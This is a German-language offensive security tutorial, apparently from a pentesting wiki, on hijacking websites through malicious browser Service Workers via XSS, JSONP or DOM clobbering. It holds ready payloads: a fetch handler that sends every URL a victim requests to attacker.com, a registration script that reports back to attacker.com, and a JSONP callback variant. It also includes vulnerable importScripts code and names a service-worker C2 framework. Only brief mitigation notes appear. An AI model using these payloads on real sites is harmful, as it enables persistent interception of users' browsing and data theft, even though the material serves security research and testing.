Abusing Service Workers

Reading time: 5 minutes

Grundinformationen

Ein Service Worker ist ein Skript, das von Ihrem Browser im Hintergrund ausgeführt wird, getrennt von jeder Webseite, und Funktionen ermöglicht, die keine Webseite oder Benutzerinteraktion erfordern, wodurch die Offline- und Hintergrundverarbeitungsfähigkeiten verbessert werden. Detaillierte Informationen zu Service Workern finden Sie hier. Durch das Ausnutzen von Service Workern innerhalb einer verwundbaren Web-Domain können Angreifer die Kontrolle über die Interaktionen des Opfers mit allen Seiten innerhalb dieser Domain erlangen.

Überprüfen vorhandener Service Worker

Vorhandene Service Worker können im Abschnitt Service Workers des Application-Tabs in den Entwicklertools überprüft werden. Eine weitere Methode besteht darin, chrome://serviceworker-internals zu besuchen, um eine detailliertere Ansicht zu erhalten.

Push-Benachrichtigungen

Berechtigungen für Push-Benachrichtigungen wirken sich direkt auf die Fähigkeit eines Service Workers aus, mit dem Server ohne direkte Benutzerinteraktion zu kommunizieren. Wenn die Berechtigungen verweigert werden, wird das Potenzial des Service Workers, eine kontinuierliche Bedrohung darzustellen, eingeschränkt. Im Gegensatz dazu erhöht das Gewähren von Berechtigungen die Sicherheitsrisiken, indem es den Empfang und die Ausführung potenzieller Exploits ermöglicht.

Angriff Erstellen eines Service Workers

Um diese Schwachstelle auszunutzen, müssen Sie Folgendes finden:

• Eine Möglichkeit, willkürliche JS-Dateien auf den Server hochzuladen und ein XSS, um den Service Worker der hochgeladenen JS-Datei zu laden
• Eine verwundbare JSONP-Anfrage, bei der Sie die Ausgabe (mit willkürlichem JS-Code) manipulieren können, und ein XSS, um die JSONP mit einem Payload zu laden, der einen bösartigen Service Worker lädt.

Im folgenden Beispiel werde ich einen Code präsentieren, um einen neuen Service Worker zu registrieren, der auf das fetch-Ereignis hört und jede abgerufene URL an den Server des Angreifers sendet (dies ist der Code, den Sie hochladen müssten, um ihn auf den Server zu bringen oder über eine verwundbare JSONP-Antwort zu laden):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Und dies ist der Code, der den Worker registriert (den Code, den Sie ausführen können, indem Sie eine XSS ausnutzen). In diesem Fall wird eine GET-Anfrage an den Angreifer-Server gesendet, die benachrichtigt, ob die Registrierung des Service Workers erfolgreich war oder nicht:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

Im Falle des Missbrauchs eines anfälligen JSONP-Endpunkts sollten Sie den Wert in var sw setzen. Zum Beispiel:

var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"

Es gibt ein C2, das der Ausnutzung von Service Workern gewidmet ist, namens Shadow Workers, das sehr nützlich sein wird, um diese Schwachstellen auszunutzen.

Die 24-Stunden-Cache-Direktive begrenzt die Lebensdauer eines bösartigen oder kompromittierten Service Workers (SW) auf maximal 24 Stunden nach einer XSS-Schwachstellenbehebung, vorausgesetzt, der Client ist online. Um die Verwundbarkeit zu minimieren, können die Betreiber der Website die Time-To-Live (TTL) des SW-Skripts verringern. Entwicklern wird außerdem geraten, einen Service Worker Kill-Switch für eine schnelle Deaktivierung zu erstellen.

Ausnutzung von importScripts in einem SW über DOM Clobbering

Die Funktion importScripts, die von einem Service Worker aufgerufen wird, kann ein Skript von einer anderen Domain importieren. Wenn diese Funktion mit einem Parameter aufgerufen wird, den ein Angreifer ändern könnte, wäre er in der Lage, ein JS-Skript von seiner Domain zu importieren und XSS zu erhalten.

Dies umgeht sogar CSP-Schutzmaßnahmen.

Beispiel für anfälligen Code:

• index.html

<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>

• sw.js

const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker

Mit DOM Clobbering

Für weitere Informationen darüber, was DOM Clobbering ist, siehe:

Dom Clobbering

Wenn die URL/Domäne, die der SW verwendet, um importScripts aufzurufen, innerhalb eines HTML-Elements ist, ist es möglich, sie über DOM Clobbering zu modifizieren, um die SW ein Skript von deiner eigenen Domäne laden zu lassen.

Für ein Beispiel dazu siehe den Referenzlink.

Referenzen

• https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering